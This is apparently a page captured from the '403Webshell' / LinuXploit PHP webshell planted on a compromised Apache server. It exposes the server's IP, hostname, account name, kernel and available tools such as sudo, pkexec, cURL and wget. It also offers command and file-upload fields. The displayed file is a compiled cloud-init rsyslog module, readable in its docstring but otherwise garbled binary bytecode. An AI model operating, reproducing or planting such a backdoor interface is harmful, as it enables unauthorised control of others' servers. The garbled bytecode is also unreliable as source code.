403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/cloudinit/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/cloudinit/config/__pycache__/cc_rsyslog.cpython-36.opt-1.pyc
3

��b,8�@s�dZddlZddlZddlmZddlmZmZdZdZ	dZ
iZdZd	Z
d
ZdZdZd
ZdZeje�Zejd�Zejd�Ze
fdd�Zdd�Zdd�Zddd�ZGdd�de�Zd dd�Zdd�Z dS)!a�
.. _cc_rsyslog:

Rsyslog
-------
**Summary:** configure system logging via rsyslog

This module configures remote system logging using rsyslog.

The rsyslog config file to write to can be specified in ``config_filename``,
which defaults to ``20-cloud-config.conf``. The rsyslog config directory to
write config files to may be specified in ``config_dir``, which defaults to
``/etc/rsyslog.d``.

A list of configurations for rsyslog can be specified under the ``configs`` key
in the ``rsyslog`` config. Each entry in ``configs`` is either a string or a
dictionary. Each config entry contains a configuration string and a file to
write it to. For config entries that are a dictionary, ``filename`` sets the
target filename and ``content`` specifies the config string to write. For
config entries that are only a string, the string is used as the config string
to write. If the filename to write the config to is not specified, the value of
the ``config_filename`` key is used. A file with the selected filename will be
written inside the directory specified by ``config_dir``.

The command to use to reload the rsyslog service after the config has been
updated can be specified in ``service_reload_command``. If this is set to
``auto``, then an appropriate command for the distro will be used. This is the
default behavior. To manually set the command, use a list of command args (e.g.
``[systemctl, restart, rsyslog]``).

Configuration for remote servers can be specified in ``configs``, but for
convenience it can be specified as key value pairs in ``remotes``. Each key
is the name for an rsyslog remote entry. Each value holds the contents of the
remote config for rsyslog. The config consists of the following parts:

    - filter for log messages (defaults to ``*.*``)
    - optional leading ``@`` or ``@@``, indicating udp and tcp respectively
      (defaults to ``@``, for udp)
    - ipv4 or ipv6 hostname or address. ipv6 addresses must be in ``[::1]``
      format, (e.g. ``@[fd00::1]:514``)
    - optional port number (defaults to ``514``)

This module will provide sane defaults for any part of the remote entry that is
not specified, so in most cases remote hosts can be specified just using
``<name>: <address>``.

For backwards compatibility, this module still supports legacy names for the
config entries. Legacy to new mappings are as follows:

    - ``rsyslog`` -> ``rsyslog/configs``
    - ``rsyslog_filename`` -> ``rsyslog/config_filename``
    - ``rsyslog_dir`` -> ``rsyslog/config_dir``

.. note::
    The legacy config format does not support specifying
    ``service_reload_command``.

**Internal name:** ``cc_rsyslog``

**Module frequency:** per instance

**Supported distros:** all

**Config keys**::

    rsyslog:
        config_dir: config_dir
        config_filename: config_filename
        configs:
            - "*.* @@192.158.1.1"
            - content: "*.*   @@192.0.2.1:10514"
              filename: 01-example.conf
            - content: |
                *.*   @@syslogd.example.com
        remotes:
            maas: "192.168.1.1"
            juju: "10.0.4.1"
        service_reload_command: [your, syslog, restart, command]

**Legacy config keys**::

    rsyslog:
        - "*.* @@192.158.1.1"
    rsyslog_dir: /etc/rsyslog-config.d/
    rsyslog_filename: 99-local.conf
�N)�log)�subp�utilz20-cloud-config.confz/etc/rsyslog.d�auto�configsZconfig_filenameZ
config_dirZservice_reload_commandZrsyslog_filenameZrsyslog_dir�remotesz[ ]*[#]+[ ]*z_^(?P<proto>[@]{0,2})(([\[](?P<bracket_addr>[^\]]*)[\]])|(?P<addr>[^:]*))([:](?P<port>[0-9]+))?$cCs.|tkr |jdd�}|jd|�Stj|dd�S)NZrsyslog_svcname�rsyslogz
try-reloadT)Zcapture)�
DEF_RELOADZ
get_optionZmanage_servicer)�distro�commandZservice�r� /usr/lib/python3.6/cc_rsyslog.py�
reload_syslog�srcCs�|jdi�}t|jd�t�rRt|jd�i}t|kr>|t|t<t|krR|t|t<tgtfttt	ftt
t	fttt	tfft
ttff}x2|D]*\}}}||ks�t|||�r�|||<q�W|S)Nr)�get�
isinstance�list�KEYNAME_CONFIGS�KEYNAME_LEGACY_FILENAME�KEYNAME_FILENAME�KEYNAME_LEGACY_DIR�KEYNAME_DIR�DEF_DIR�str�DEF_FILENAME�KEYNAME_RELOADr	�KEYNAME_REMOTES�DEF_REMOTES�dict)�cfg�mycfgZfillup�key�defaultZvtypesrrr
�load_config�s r"c
Cs�g}x�t|�D]�\}}t|t�rPd|kr:tjd|d�q|d}|jd|�}n|}|}|j�}|svtjd|d�qtjj	||�}d}||kr�d}|j
|�y*d}	|jd	�s�d	}	tj
|||	|d
�Wqtk
r�tjtd|�YqXqW|S)N�contentz%No 'content' entry in config entry %s��filenamezEntry %s has an empty filenameZab�wb��
)�omodezFailed to write to %s)�	enumeraterr�LOG�warningr�strip�os�path�join�append�endswithrZ
write_file�	ExceptionZlogexc)
r�	def_fname�cfg_dir�filesZcur_posZentr#r%r)Zendlrrr
�apply_rsyslog_changes�s8


r7cCsytj|�\}}|j�}Wntk
r8|d}}YnX|j�j�}d}t|�dkr\|}n"t|�dkrr|\}}ntd|��tj|�}|s�td|��|jd�}|jd�p�|jd�}|jd�}	|jd	�r�|j	d
�r�td|��|r�|r�|}t
|||||	d�}
|
j�|
S)
Nr$�zline had multiple spaces: %szInvalid host specification '%s'�proto�addrZbracket_addr�port�[�]z"host spec had invalid brackets: %s)�name�matchr9r:r;)�
COMMENT_RE�splitr-�
ValueError�len�HOST_PORT_REr?�group�
startswithr2�SyslogRemotesLine�validate)�liner>�dataZcommentZtoksr?Z	host_portr9r:r;�trrr
�parse_remotes_lines4




rLc@s.eZdZd
dd�Zdd�Zdd�Zdd	�ZdS)rGNcCs\|sd}||_||_|sd}|dkr*d}n|dkr6d}||_||_|rRt|�|_nd|_dS)Nz*.*�udp�@z@@�tcp)r>r?r9r:�intr;)�selfr>r?r9r:r;rrr
�__init__DszSyslogRemotesLine.__init__cCsZ|jrHyt|j�Wn2tk
rF}ztd|j�|�WYdd}~XnX|jsVtd��dS)Nzport '%s' is not an integerzaddress is required)r;rPrBr:)rQ�errr
rHYs
zSyslogRemotesLine.validatecCsd|j|j|j|j|jfS)Nz.[name=%s match=%s proto=%s address=%s port=%s])r>r?r9r:r;)rQrrr
�__repr__eszSyslogRemotesLine.__repr__cCs�|jd}|jdkr|d7}n|jdkr0|d7}d|jkrN|d|jd7}n
||j7}|jrl|d	|j7}|jr�|d
|j7}|S)N� rMrNrOz@@�:r<r=z:%sz # %s)r?r9r:r;r>)rQZbufrrr
�__str__ns





zSyslogRemotesLine.__str__)NNNNN)�__name__�
__module__�__qualname__rRrHrTrWrrrr
rGCs
	rGcCs�|sdSg}|dk	r|j|�xh|j�D]\\}}|s6q(y|jtt||d���Wq(tk
r�}ztjd|||�WYdd}~Xq(Xq(W|dk	r�|j|�dj|�dS)N)r>z!failed loading remote %s: %s [%s]r()r1�itemsrrLrBr+r,r0)r�header�footer�linesr>rIrSrrr
�remotes_to_rsyslog_cfg�s
&
r_c
Cs�d|kr|jd|�dSt|�}|t}|trH|jt|tddd��|ds^|jd�dSt|t|t|td�}|s�|jd	�dSyt	|j
|td
�}Wn4tj
k
r�}	zd}|jd|	�WYdd}	~	XnX|r�|j�|jd
||�dS)Nrz;Skipping module named %s, no 'rsyslog' key in configurationz# begin remotesz
# end remotes)r\r]rz.Empty config rsyslog['configs'], nothing to do)rr4r5z0restart of syslog not necessary, no changes made)rFzFailed to reload syslogz%s configured %s files)�debugr"rrr1r_r7rrrr
rrZProcessExecutionErrorr,Z
cycle_logging)
r>rZcloudrZ_argsrrZchangesZ	restartedrSrrr
�handle�s<


ra)N)NN)!�__doc__r.�reZ	cloudinitrZloggingrrrrr	rrrrrrrrZ	getLoggerrXr+�compiler@rDrr"r7rL�objectrGr_rarrrr
�<module>^s4W

)
&?


Youez - 2016 - github.com/yon3zu
LinuXploit